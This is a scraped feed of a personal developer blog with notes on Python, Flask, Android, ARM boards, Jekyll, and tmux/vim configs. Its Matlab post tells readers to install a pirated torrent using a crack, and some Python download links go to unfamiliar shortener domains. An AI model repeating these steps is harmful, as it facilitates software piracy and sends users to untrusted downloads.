<h4 id="bitstreams-format-annexb-h264_mp4toannexb-avcc">Bitstreams format: AnnexB (h264_mp4toannexb), AVCC</h4>
<ul>
<li><a href="https://stackoverflow.com/questions/24884827/possible-locations-for-sequence-picture-parameter-sets-for-h-264-stream/24890903#24890903">Annex B</a></li>
</ul>
<h4 id="rtp-payload-format-for-h264-video">RTP Payload Format for H.264 Video</h4>
<ul>
<li><a href="https://tools.ietf.org/html/rfc6184#section-1">https://tools.ietf.org/html/rfc6184#section-1</a></li>
</ul>
Android stuff2017-11-14T00:00:00+00:00http://memto.github.io/linux/program/2017/11/14/android-stuff<h2 id="references">References</h2>
<h4 id="software-stack">software stack</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://source.android.com/source/
https://developer.android.com/guide/platform/index.html
</code></pre></div></div>
<h4 id="architect">architect</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://haifux.org/lectures/298/android.pdf
http://coltf.blogspot.com/p/android-os-processes-and-zygote.html
</code></pre></div></div>
<h4 id="filesystem">Filesystem</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://www.all-things-android.com/content/understanding-android-file-hierarchy
</code></pre></div></div>
<h4 id="books">Books</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://newandroidbook.com/AIvI-M-RL1.pdf
http://newandroidbook.com/TOC.html
http://newandroidbook.com/files/Andevcon-Binder.pdf
</code></pre></div></div>
<h4 id="graphic">Graphic</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.slideshare.net/BinChen3/android-graphic-system-surface-flinger-patternsperspective-external-version
http://netaz.blogspot.co.il/2015/03/androids-graphics-buffer-management.html
https://www.imgtec.com/blog/learning-about-the-android-graphics-subsystem/
http://www.androidpolice.com/2012/07/12/getting-to-know-android-4-1-part-3-project-butter-how-it-works-and-what-it-added/
http://dragon.leanote.com/post/Android-%E5%9B%BE%E5%BD%A2%E7%B3%BB%E7%BB%9F-%EF%BC%88Android2.x%EF%BC%8C4.0-4.1-4.2%EF%BC%89
http://www.cnblogs.com/deman/p/5584198.html
http://echuang54.blogspot.com/2015/01/dispsync.html
http://blog.csdn.net/kastland/article/details/40016965
</code></pre></div></div>
<h4 id="sites">Sites</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://guides.codepath.com/android
</code></pre></div></div>
opensource getting started2017-06-28T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2017/06/28/opensource-getting-started<h5 id="ref">Ref</h5>
<ul>
<li><a href="https://medium.com/@kentcdodds/first-timers-only-78281ea47455">First Timers Only</a></li>
<li><a href="https://www.natashatherobot.com/beginners-contributing-to-open-source/">A Beginner’s Guide To Contributing To Open Source</a></li>
<li><a href="https://github.com/MunGell/awesome-for-beginners">Awesome First PR</a></li>
<li><a href="https://github.com/search?l=Python&q=label%3Afirst-timers-only+is%3Aopen&ref=searchresults&type=Issues&utf8=%E2%9C%93">First time search</a></li>
</ul>
Flask getting started2017-06-15T00:00:00+00:00http://memto.github.io/program/2017/06/15/flask-getting-started<p>Ref</p>
<blockquote>
<p>http://flask.pocoo.org/docs/0.12/installation/</p>
</blockquote>
<p>Environment setting:</p>
<blockquote>
<p>Have both python 2.x and 3.x on machine = create a virtualenv to using python 3.x <br />
virtualenv and virtualenvwrapper-win both are installed for 3.x <br />
WORKON_HOME=D:\working\projects\learning\python\virtualenv <br /></p>
</blockquote>
<p>Create virtualenv</p>
<blockquote>
<p>mkvirtualenv -p C:\Python36-32\python.exe flasktutor</p>
</blockquote>
<p>Install flask</p>
<blockquote>
<p>pip install flask</p>
</blockquote>
<p>This will install <em>flask</em> and <em>flask related</em> packages from this (https://www.palletsprojects.com/)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip freeze
click==6.7
Flask==0.12.2
itsdangerous==0.24
Jinja2==2.9.6
MarkupSafe==1.0
Werkzeug==0.12.2
</code></pre></div></div>
<p>Create project folder and hello.py follow quickstart (http://flask.pocoo.org/docs/0.12/quickstart/)</p>
<blockquote>
<p>D:\working\projects\learning\python\flask\flaskhome_tutor\hello.py <br />
progress are track by git</p>
</blockquote>
<p>Run application</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ export FLASK_APP=hello.py # (set FLASK_APP=hello.py on window)
$ python -m flask run
</code></pre></div></div>
<p>Debug Mode
$ export FLASK_DEBUG=1 # enable debug options (set command on window)</p>
<p>This does the following things:</p>
<ul>
<li>it activates the debugger</li>
<li>it activates the automatic reloader</li>
<li>it enables the debug mode on the Flask application.</li>
</ul>
<p>Static files</p>
<ul>
<li>Are files that are put under folder <em>static</em> from app structure</li>
<li>to get url for static file: url_for(‘static’, filename=’style.css’)</li>
<li><em>static</em> is reserved endpoint used for static files and cannot be used as function endpoint for route</li>
</ul>
Ever Read/Watched Python2017-06-13T00:00:00+00:00http://memto.github.io/program/2017/06/13/ever-read-watched-python<h4 id="oop">OOP</h4>
<ul>
<li><a href="http://blog.thedigitalcatonline.com/blog/2014/03/05/oop-concepts-in-python-2-dot-x-part-1/#.WT_Ac9yLmUk">OOP concepts in Python 2.x</a></li>
<li><a href="http://blog.thedigitalcatonline.com/blog/2015/03/14/python-3-oop-notebooks/">Python 3 OOP Notebooks
</a></li>
<li><a href="http://www.eecg.toronto.edu/~jzhu/csc326/readings/metaclass-class-instance.pdf">Python Types and Objects</a> (<a href="http://www.cafepy.com/article/python_types_and_objects/python_types_and_objects.html">Dead Link</a>)</li>
</ul>
<h4 id="descriptor">Descriptor</h4>
<ul>
<li><a href="http://nbviewer.jupyter.org/urls/gist.github.com/ChrisBeaumont/5758381/raw/descriptor_writeup.ipynb">Python Descriptors Demystified</a></li>
<li><a href="https://www.youtube.com/watch?v=ZdvpNaWwx24">Python Descriptors - InfoQ - Video</a></li>
</ul>
<h4 id="attribute-access">Attribute access</h4>
<ul>
<li><a href="https://medium.com/stepping-through-the-cpython-interpreter/how-does-attribute-access-work-d19371898fee">How Does Attribute Access Work</a></li>
<li><a href="https://codesachin.wordpress.com/2016/06/09/the-magic-behind-attribute-access-in-python/">The magic behind Attribute Access in Python</a></li>
</ul>
<h4 id="iterator-generator">Iterator, generator</h4>
<ul>
<li><a href="http://nvie.com/posts/iterators-vs-generators/">Iterables vs. Iterators vs. Generators</a></li>
<li><a href="http://pymbook.readthedocs.io/en/latest/igd.html">Iterators, generators and decorators</a></li>
</ul>
Learning Python 5Ed2017-06-06T00:00:00+00:00http://memto.github.io/program/2017/06/06/learning-python-5ed<h3 id="chapter-17-scopes">Chapter 17: Scopes</h3>
<h5 id="namespace-vs-scope">namespace vs scope</h5>
<p><em>namespace</em> - place where names live in. Python creates, changes, or looks up name in a namespace (name here can be variables’ name, functions’ name… etc).</p>
<p><em>scope</em> - name’s visibility, it refers to a namespace. The location of a name’s assignment determines the scope of the name’s visibility.</p>
<p><em>namespace</em> and <em>scope</em> seem a bit confuse here. but let say namespace as a box contains names: there is a <em>builtin namespace</em> contains names like <em>open</em>, <em>getattr</em>, <em>setattr</em> and so on; when in a module, there will be a <em>module namespace</em> which contains global names from that module; when in a function call, there will a <em>function namespace</em> contains names local to that funtion.</p>
<p>so, namespace is a box contains names. Scope defines which box you can see from parts of the program (that’s why name’s visibility). It defines where you could use a name without using any prefix.</p>
<p>In Python, almost everything related to names, including scope, happens at assignment time. Python uses the location of the assigment of a name to associate it with (<em>bind</em> it to) a particular namespace. That is, the place of name assigment determines the <em>namespace it will live in</em> and <em>its scope of visibility</em>.</p>
<p>Besides packaging code for reuse, functions add an extra namespace layer to minimize the potential for collisions among variables of the same name - by default, all names assigned inside a function are associated with that function’s namespace, and no other.</p>
<p>Three different scopes:</p>
<ul>
<li>If a variable is assigned inside a <strong>def</strong>, it is <em>local</em> to that function.</li>
<li>If a variable is assigned in an enclosing <strong>def</strong>, it is <em>nonlocal</em> to nested functions.</li>
<li>If a variable is assigned outside all <strong>defs</strong>, it is <em>global</em> to the entire file.</li>
</ul>
<blockquote>
<p>This is <em>lexical scoping</em> because variable scopes are determined entirely by the locations of the variables.</p>
</blockquote>
<p>Any type of <em>assignment</em> within a function classifies a name as local. This includes = statements, module names in <strong>import</strong>, function names in <strong>def</strong>, function argument names, and so on.</p>
<blockquote>
<p><strong>in-place changes</strong> to objects do not classify names as locals; <strong>only actual name assignments do</strong>. <br />
For instance, if the name L is assigned to a list at the top level of a module, a statement L = X within a function will classify L as a local, but L.append(X) will not. In the latter case, we are changing the list object that L references, not L itself - L is found in the global scope as usual, and Python happily modifies it without requiring a global (or nonlocal) declaration. <br />
Distinction between <strong>names</strong> and <strong>objects</strong>: changing an object is not an assignment to a name.</p>
</blockquote>
<h5 id="name-resolution-the-legb-rule">Name Resolution: The LEGB Rule</h5>
<ul>
<li>Name <strong>assignments</strong> create or change local names by default.</li>
<li>Name <strong>references</strong> search at most four scopes: local, then enclosing functions (if any),
then global, then built-in.</li>
<li>Names declared in <em>global</em> and <em>nonlocal</em> statements map assigned names to <em>enclosing module</em> and <em>enclosing function</em> scopes, respectively.</li>
</ul>
<p>LGBT rules are applied for <strong>references</strong> or usage (not assignments) of simple variables</p>
<p><img src="/media/python-legb.PNG" alt="python-legb.PNG" /></p>
<h5 id="other-python-scopes">Other Python scopes:</h5>
<ul>
<li>Temporary variables in comprehension</li>
<li>Exception reference variable in <em>try</em> handlers</li>
<li>Local scopes in <em>class</em> statements</li>
</ul>
<h5 id="the-built-in-scope">The built-in scope</h5>
<p>The built-in scope is just a built-in module called <code class="language-plaintext highlighter-rouge">builtins</code> (3.x) or <code class="language-plaintext highlighter-rouge">__builtin__</code> (2.x)</p>
<p>The name <code class="language-plaintext highlighter-rouge">__builtins__</code> (with the s) is preset in most global scopes, including the interactive session, to reference the module known as <code class="language-plaintext highlighter-rouge">builtins</code> in 3.X and <code class="language-plaintext highlighter-rouge">__builtin__</code> in 2.X
<img src="/media/python-builtins.png" alt="python-builtins.png" /></p>
<h5 id="global-and-nonlocal">global and nonlocal</h5>
<p>Concern with this only when do <em>assingments</em> not <em>references</em>, references are simple follow LEGB rule.
<img src="/media/python-global-nonlocal.PNG" alt="python-global-nonlocal.PNG" /></p>
<p>The 3.X nonlocal statement allow enclosing scope state changes. In 2.X, enclosing scopes are read-only.</p>
<h5 id="program-design">Program design:</h5>
<ul>
<li>Minimize Global Variables</li>
<li>Minimize Cross-File Changes</li>
</ul>
<h4 id="function-factory-or-closure">Function factory or closure</h4>
<p><em>Closure</em> is <em>functional programming</em> technique in which nested function remember variables from its enclosing functions or environment (state retention).</p>
<h4 id="state-retention-between-function-call">State retention between function call</h4>
<ul>
<li>using global variable</li>
<li>class instance attribute</li>
<li>using enclosing scope</li>
<li>function default argument (with enclosing scope, it is not nescessery to use defaul argument to retain state between function call, but <em>loop variables</em> still required)</li>
<li>function attribute</li>
</ul>
<h3 id="chapter-18-arguments">Chapter 18: Arguments</h3>
<blockquote>
<p>Arguements are passed by reference</p>
</blockquote>
<p><img src="/media/python-arg-passing.PNG" alt="python-arg-passing.PNG" /></p>
<p>In general, should avoid mutable argument changes</p>
Setting python working environment on window2017-06-04T00:00:00+00:00http://memto.github.io/program/tooltips/2017/06/04/setting-python-on-window<h4 id="download-and-install-python-2x-3x">Download and install python 2x, 3x</h4>
<ul>
<li>Download both python 2x, 3x from <a href="http://bluenik.com/2YAP">python download</a> page</li>
<li>The installation steps on window are easy, just click next then next…. please notice the installation path</li>
<li>Adding installed python <strong>scripts</strong> directory into System path. This folder contains command files for certain pakages (ex: pip, virtualenv)
<ol>
<li>Go to start menu > right click on computer > properties > advanced system settings > Environment variables</li>
<li>Create new variables: PYTHON2_SCRIPTS (C:\Python27\Scripts), PYTHON3_SCRIPTS (C:\Python36-32\Scripts)</li>
<li>Add newly created varibale into Path: append to the end %PYTHON2_SCRIPTS%;%PYTHON3_SCRIPTS%</li>
</ol>
</li>
</ul>
<h4 id="working-with-mutiple-version-of-python-on-window">Working with mutiple version of python on window</h4>
<p>After above steps we have both python 2x, python 3x installed in system.
<img src="/media/python-installed.png" alt="python-installed.png" /></p>
<ul>
<li>How to specify which python version to run from cmd?</li>
</ul>
<p>Use python launcher. From python 3x, python has a launcher called <strong>py.exe</strong> which you can specify python version to run (ex: py -2, py -3)</p>
<blockquote>
<p>usage: py [ launcher-arguments ] [ python-arguments ] script [ script-arguments ] <br />
py -h for more information <br /></p>
</blockquote>
<ul>
<li>How to specify which pip version to run?</li>
</ul>
<p>python already have separate pip version for each as in picture above. one more step that I did is change the <strong>pip</strong> from both to <strong>pip-bak</strong> to not wrongly use it without specify version. you can keep <strong>pip</strong> from which version if you want it will be the default.</p>
<h4 id="how-to-use-pip">How to use pip</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Usage:
pip <command [options]
pip -h for more help
</code></pre></div></div>
<p>Some common usage</p>
<ul>
<li>get help for specific pip command <br />
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip help install
</code></pre></div> </div>
</li>
<li>search for package
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip search virtualenv
</code></pre></div> </div>
</li>
<li>install package <br />
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip install virtualenv
pip install virtualenv==x.y # install specific version of package
</code></pre></div> </div>
</li>
<li>uninstall package
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip uninstall virtualenv
</code></pre></div> </div>
</li>
<li>show information about package
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip show virtualenv
</code></pre></div> </div>
</li>
<li>install multiple package from a requirements.txt file
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip install -r requirements.txt
</code></pre></div> </div>
</li>
<li>create requirements.txt file
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip freeze > requirements.txt
pip freeze --local > requirements.txt # if in virtualenv
</code></pre></div> </div>
</li>
<li>uninstall multiple package from a file (requirements.txt)
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip uninstall -r requirements.txt
</code></pre></div> </div>
</li>
<li>list installed package
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip list
pip list -o # list outdated package
</code></pre></div> </div>
</li>
<li>upgrade outdated package to latest <br />
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip install -U virtualenv
</code></pre></div> </div>
</li>
</ul>
<h4 id="install-virtualenv-package-and-setting-a-python-virtual-environment">Install virtualenv package and setting a python virtual environment</h4>
<p>For why we should use virtualenv you can check here: <a href="http://atominik.com/3NGJ">Virtual Environments</a>. The main idea is to have isolate working environment for each of your python project.</p>
<p>Because of functional are the same, you can install virtualenv for either python 2.x or 3.x (3.x for me). You can install it using <strong>pip</strong> as below:</p>
<ul>
<li>pip3 install virtualenv</li>
</ul>
<p>Now you can use virtualenv to create a working environment for your project</p>
<ul>
<li>for python 3.x project: virtualenv -p C:\Python36-32\python.exe venv36</li>
<li>for python 2.x project: virtualenv -p C:\Python27\python.exe venv27</li>
</ul>
<p>Using newly created environment:</p>
<ul>
<li>venv27\Scripts\activate to start working</li>
<li>python -V to check python version</li>
<li>deactivate to stop working</li>
</ul>
<h4 id="pycharm-setup-on-window">Pycharm setup on window</h4>
Docker Study2017-05-24T00:00:00+00:00http://memto.github.io/tooltips/2017/05/24/docker-study<p>http://web.archive.org/web/20150326185901/http://blog.dotcloud.com/under-the-hood-linux-kernels-on-dotcloud-part</p>
<p>https://stackoverflow.com/questions/34820558/difference-between-cgroups-and-namespaces</p>
<p>https://stackoverflow.com/questions/16047306/how-is-docker-different-from-a-normal-virtual-machine?rq=1</p>
<p>https://blogs.rdoproject.org/7761/hands-on-linux-sandbox-with-namespaces-and-cgroups</p>
Install jekyll on Window2016-10-18T00:00:00+00:00http://memto.github.io/program/tooltips/2016/10/18/install-jekyll-on-window<ul>
<li>Download ruby installer (ex: Ruby 2.2.5 (x64)) and install
<a href="https://rubyinstaller.org/downloads/" title="ruby installer">ruby installer</a></li>
<li>
<p>Add ruby dir to environment variable</p>
</li>
<li>
<p>Download and install NodeJS
<a href="https://nodejs.org/en/" title="NodeJS">NodeJS</a></p>
</li>
<li>Download and install python (ex: ver 2.7)
<a href="https://www.python.org/downloads/" title="python download">python download</a></li>
<li>
<p>Add python to environment variable</p>
</li>
<li>Open cmd window and install jekyll
<blockquote>
<p>gem install jekyll</p>
</blockquote>
</li>
<li>
<p>RubyGems SSL errors on Ruby for Windows (RubyInstaller)
<a href="https://gist.github.com/luislavena/f064211759ee0f806c88" title="RubyGems SSL errors, RubyInstaller">RubyGems SSL errors, RubyInstaller</a></p>
</li>
<li>Use gist in jekyll <br />
<blockquote>
<p>gem install jekyll-gist <br />
add jekyll-gist into gems in <em>_config.yml</em> as below <br />
gems: [jekyll-gist]</p>
</blockquote>
</li>
<li>Liquid Exception B: certificate verify failed <br />
<blockquote>
<p><a href="https://gist.github.com/fnichol/867550" title="Download a cacert.pem for RailsInstaller">Download a cacert.pem for RailsInstaller</a></p>
</blockquote>
</li>
<li>Run jekyll <br />
<blockquote>
<p>Go to github page source directory <br />
jekyll serve</p>
</blockquote>
</li>
</ul>
<h4 id="github-page-bloging-with-proseio">github page bloging with prose.io</h4>
<p><a href="http://prose.io/">prose.io</a> is a web based application that is a github content editor. it has support to make bloging on github page more easily. To use it just add <em>prose</em> configuration in github page config.yml as mine here <a href="https://github.com/memto/memto.github.io/blob/master/_config.yml">sample config.yml</a>, go to <a href="https://github.com/prose/prose/wiki/Getting-Started">prose’s wiki</a> for more infomation.</p>
What I Should Know As A Programmer?2016-10-17T00:00:00+00:00http://memto.github.io/program/2016/10/17/what-i-should-know-as-a-programmer<h5 id="floating-point">Floating point:</h5>
<ul>
<li><a href="http://floating-point-gui.de/">What Every Programmer Should Know About Floating-Point Arithmetic</a></li>
<li><a href="http://blog.reverberate.org/2014/09/what-every-computer-programmer-should.html">Floating Point Demystified, Part 1
</a></li>
</ul>
<h5 id="unicode">Unicode:</h5>
<ul>
<li><a href="https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/">The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets</a></li>
<li><a href="http://python3porting.com/problems.html#bytes-strings-and-unicode">Bytes, strings and Unicode</a></li>
<li><a href="http://www.diveintopython3.net/strings.html">Dive into python3 - Chap4 - Strings</a></li>
</ul>
ARM Assembly Getting Started2016-06-14T00:00:00+00:00http://memto.github.io/program/2016/06/14/arm-assembly<h4 id="ref">Ref:</h4>
<blockquote>
<p>https://www.youtube.com/watch?v=15z_vn4H41U <br />
https://www.youtube.com/watch?v=ViNnfoE56V8 <br />
http://goodmath.scientopia.org/2014/02/11/hello-world-in-arm-assembly-language/ <br />
http://thinkingeek.com/arm-assembler-raspberry-pi/ <br />
http://unix.stackexchange.com/questions/246463/how-can-you-find-out-which-registers-are-used-for-system-calls <br /></p>
</blockquote>
Linux Device Driver2016-06-10T00:00:00+00:00http://memto.github.io/linux/2016/06/10/linux-device-driver<h5 id="ref">Ref:</h5>
<ul>
<li><a href="https://lwn.net/Articles/driver-porting/">Porting device drivers to the 2.6 kernel</a></li>
<li><a href="https://stackoverflow.com/a/33118405">Who calls the probe() of driver</a></li>
<li><a href="https://community.arm.com/dev-platforms/w/docs/268/device-tree">Device Tree</a></li>
<li><a href="https://www.ctrlinux.com/blog/?p=38">I2C Communication from Linux Userspace</a></li>
<li><a href="https://www.cs.sfu.ca/CourseCentral/433/bfraser/other/I2CGuide.pdf">I2C Guide: 14-Seg Display</a></li>
<li><a href="http://elinux.org/Interfacing_with_I2C_Devices">Interfacing with I2C Devices</a></li>
</ul>
Kbuild Kconfig Kernel Build2016-04-07T00:00:00+00:00http://memto.github.io/linux/program/2016/04/07/kbuild-kconfig-kernel-build<h5 id="ref">Ref:</h5>
<ul>
<li><a href="https://sarahnadi.org/resources/pubs/NADI_JSEP_2013.pdf">The Linux kernel: a case study of build system variability</a></li>
<li><a href="http://bugcy013.blogspot.com/2011/08/working-with-kconfig.html">Working with Kconfig</a></li>
<li><a href="https://stackoverflow.com/a/29243761">How does kbuild actually work?
</a></li>
<li><a href="http://www.denx.de/wiki/pub/U-Boot/MiniSummitELCE2014/uboot2014_kconfig.pdf">Kbuild & Kconfig for U-Boot</a></li>
</ul>
Started with Embedded ARM2016-04-05T00:00:00+00:00http://memto.github.io/program/2016/04/05/started-with-embedded-arm<p>In this post I ref to FriendlyARM Tiny6410 board. This board is not so popular (since at the time I bought this board, I did not have much experience with embedded ARM to choose a right one, poorly).</p>
<h4 id="refs">Refs:</h4>
<p><a href="/downloads/docs-hidden/arm1176jzfs_r0p7-TechnicalRefManual.pdf">arm1176jzfs_r0p7-TechnicalRefManual.pdf</a> <br />
<a href="/downloads/docs-hidden/S3C6410XH-66.pdf">S3C6410XH-66.pdf</a> <br />
<a href="/downloads/docs-hidden/S3C6410-Datasheet.pdf">S3C6410 Datasheet.pdf</a> <br />
<a href="/downloads/docs-hidden/Tiny6410-User-manual.pdf">Tiny6410 User manual.pdf</a> <br /></p>
<h4 id="sources">Sources</h4>
<h4 id="arch--cpu--soc--board">Arch / CPU / SoC / Board</h4>
<blockquote>
<p>FriendlyArm Tiny6410 board </br>
CPU: 533 MHz Samsung S3C6410A ARM1176JZF-S with VFP-Unit and Jazelle (max freq. 667 MHz) </br>
RAM: 256 MB, 32 bit Bus </br></p>
</blockquote>
<ul>
<li>Arch: ARMv6Z - define instruction sets and registers (https://en.wikipedia.org/wiki/List_of_ARM_microarchitectures)</li>
<li>CPU: S3C6410A/ARM1176JZF-S - S3C6410A is a specific processor design base on the core design ARM1176JZF-S, this CPU will load and execute instructions defined instruction sets</li>
<li>SoC: S3C6410 - contain a CPU and other components
<ul>
<li>Memory: RAM, SRAM, SDRAM…</li>
<li>Interface IC (intergrated IC): ADC, DAC, UART, USB, SPI, I2C…</li>
</ul>
</li>
<li>Board: Tiny6410 - a board of circuit that connect SoC and input/output devices
<ul>
<li>Inputs: Switch, Buttons, Keyboads, Touch, Mic…</li>
<li>Outputs: LEDs, LCD, Speaker…</li>
</ul>
</li>
</ul>
<h4 id="arm-core-naming-ex-arm1176jzf-s">ARM core naming (ex: ARM11/76/JZF-S)</h4>
<ul>
<li>Family Version Number: 11 <br />
<strong>Standard feature (not need include after ARM7TDMI):</strong></li>
<li>T/T2: Thumb/Thumb2 instruction support</li>
<li>D: JTAG debugging</li>
<li>M: Fast Mutilplier</li>
<li>I: Embedded ICE module <br />
<strong>New feature:</strong></li>
<li>Memory interface:
<ul>
<li>26/36/76: MMU</li>
<li>46: MPU</li>
</ul>
</li>
<li>J: Jazelle DBX Technology</li>
<li>Z: Trust Zone</li>
<li>F: Floating point</li>
<li>S: Synthesizable</li>
</ul>
Install Matlab Ubuntu2016-04-05T00:00:00+00:00http://memto.github.io/linux/tooltips/2016/04/05/install-matlab-ubuntu<h4 id="download">Download</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Mathworks_Matlab_R2010a_UNIX_ISO-TBE.5454218.TPB.torrent
</code></pre></div></div>
<h4 id="install">Install</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Extract or mount downloaded file, go to extracted folder and run:
$ ./install
Do as guide in crack/install.txt
Select path (ex: /opt/matlab2010)
</code></pre></div></div>
<h4 id="create-start-file-and-desktop-icon">Create start file and desktop icon</h4>
<p>Because on my system the license server is not auto start so I have to create a script that start license server before start matlab, I called it runmatlab.sh and put it at bin folder in my matlab install path (<strong>/opt/matlab2010/bin/runmatlab.sh</strong>)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/bash
not_running="$(/opt/matlab2010/etc/lmstat | grep -i 'not running')"
if [[ not_running ]]; then
/opt/matlab2010/etc/lmstart
fi
/opt/matlab2010/bin/matlab -desktop
</code></pre></div></div>
<p>Then you can create start icon on your desktop by create <strong>matlab.desktop</strong> file with contents as below on your desktop</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/env xdg-open
[Desktop Entry]
Version=1.0
Type=Application
Terminal=false
Exec=/opt/matlab2010/bin/runmatlab.sh
Name=MATLAB
Icon=/usr/share/icons/hicolor/48x48/apps/matlab.png
Categories=Development;Math;Science
Comment=Scientific computing environment
StartupNotify=true
StartupWMClass=com-mathworks-util-PostVMInit
Path=
</code></pre></div></div>
<p>Done!</p>
Vim and Tmux2016-03-18T00:00:00+00:00http://memto.github.io/tooltips/2016/03/18/vim-and-tmux<h4 id="tmux-config-tmuxconf">Tmux config (~/.tmux.conf)</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Our .tmux.conf file
# Setting the prefix from C-b to C-a
# START:prefix
set -g prefix C-a
# END:prefix
# Free the original Ctrl-b prefix keybinding
# START:unbind
unbind C-b
# END:unbind
#setting the delay between prefix and command
# START:delay
set -s escape-time 1
# END:delay
# Ensure that we can send Ctrl-A to other apps
# START:bind_prefix
bind C-a send-prefix
# END:bind_prefix
# Set the base index for windows to 1 instead of 0
# START:index
set -g base-index 1
# END:index
# Set the base index for panes to 1 instead of 0
# START:panes_index
setw -g pane-base-index 1
# END:panes_index
# Reload the file with Prefix r
# START:reload
bind r source-file ~/.tmux.conf \; display "Reloaded!"
# END:reload
# splitting panes
# START:panesplit
bind | split-window -h
bind - split-window -v
# END:panesplit
# moving between panes
# START:paneselect
bind h select-pane -L
bind j select-pane -D
bind k select-pane -U
bind l select-pane -R
# END:paneselect
# Quick pane selection
# START:panetoggle
bind -r C-h select-window -t :-
bind -r C-l select-window -t :+
# END:panetoggle
# Pane resizing
# START:paneresize
bind -r H resize-pane -L 5
bind -r J resize-pane -D 5
bind -r K resize-pane -U 5
bind -r L resize-pane -R 5
# END:paneresize
# mouse support - set to on if you want to use the mouse
# START:mouse
setw -g mode-mouse off
# END:mouse
set -g mouse-select-pane off
set -g mouse-resize-pane off
set -g mouse-select-window off
# Set the default terminal mode to 256color mode
# START:termcolor
set -g default-terminal "screen-256color"
# END:termcolor
# enable activity alerts
#START:activity
setw -g monitor-activity on
set -g visual-activity on
#END:activity
# set the status line's colors
# START:statuscolor
set -g status-fg white
set -g status-bg black
# END:statuscolor
# set the color of the window list
# START:windowstatuscolor
setw -g window-status-fg cyan
setw -g window-status-bg default
setw -g window-status-attr dim
# END:windowstatuscolor
# set colors for the active window
# START:activewindowstatuscolor
setw -g window-status-current-fg white
setw -g window-status-current-bg red
setw -g window-status-current-attr bright
# END:activewindowstatuscolor
# pane colors
# START:panecolors
set -g pane-border-fg green
set -g pane-border-bg black
set -g pane-active-border-fg white
set -g pane-active-border-bg yellow
# END:panecolors
# Command / message line
# START:cmdlinecolors
set -g message-fg white
set -g message-bg black
set -g message-attr bright
# END:cmdlinecolors
# Status line left side
# START:statusleft
set -g status-left-length 40
set -g status-left "#[fg=green]Session: #S #[fg=yellow]#I #[fg=cyan]#P"
# END:statusleft
#START:utf8
set -g status-utf8 on
#END:utf8
# Status line right side
# 15% | 28 Nov 18:15
# START: statusright
set -g status-right "#[fg=cyan]%d %b %R"
# END:statusright
# Update the status bar every sixty seconds
# START:updateinterval
set -g status-interval 60
# END:updateinterval
# Center the window list
# START:centerwindowlist
set -g status-justify centre
# END:centerwindowlist
# enable vi keys.
# START:vikeys
setw -g mode-keys vi
# END:vikeys
</code></pre></div></div>
<h4 id="plugin-vim">Plugin vim</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.vim
├── autoload
│ └── pathogen.vim
├── bundle
│ ├── ag.vim
│ ├── ctrlp.vim
│ ├── supertab
│ ├── syntastic
│ ├── vim-fugitive
│ ├── vim-multiple-cursors
│ ├── vim-neatstatus
│ └── vimproc.vim
└── vimrc
</code></pre></div></div>
<h4 id="vimrc-vimvimrc">Vimrc (~/.vim/vimrc)</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set nocompatible "Vim over vi
let mapleader = ","
execute pathogen#infect()
syntax on
filetype plugin indent on
"=== Space setting
set backspace=2 "backspace deletes like most programs in insert mode
set tabstop=4 "number of visual spaces per TAB
set softtabstop=4 "number of spaces in TAB when editing
set expandtab "tab to spaces
autocmd FileType make set noexpandtab shiftwidth=4 softtabstop=0
set scrolloff=3 "space between cursor and terminal bottom
set undolevels=1500 "how many times the user can undo
set sidescrolloff=3 "space between cursor and terminal side
set laststatus=2 "always display the status line
set autowrite "automatically :write before running commands
" display extra whitespace
set list listchars=tab:»·,trail:·,nbsp:·
" removes trailing spaces
function! TrimWhiteSpace()
%s/\s\+$//e
endfunction
nnoremap <silent> <Leader>rts :call TrimWhiteSpace()<cr>
autocmd FileWritePre * :call TrimWhiteSpace()
autocmd FileAppendPre * :call TrimWhiteSpace()
autocmd FilterWritePre * :call TrimWhiteSpace()
autocmd BufWritePre * :call TrimWhiteSpace()
"=== UI setting
set number "show line numbers
set ruler "show ruler on right margin of screen
set showcmd "show last command in the bottom bar
set visualbell "stop that ANNOYING beeping
set wildmenu "visual autocomplete for command menu
set wildmode=list:longest,full
set guicursor+=i:blinkon0 "disable cursor blink
" Make searching better
set gdefault "never have to type /g at the end of search / replace again
set ignorecase "case insensitive searching (unless specified)
set smartcase
set incsearch "search as characters are entered
set hlsearch "highlight matches
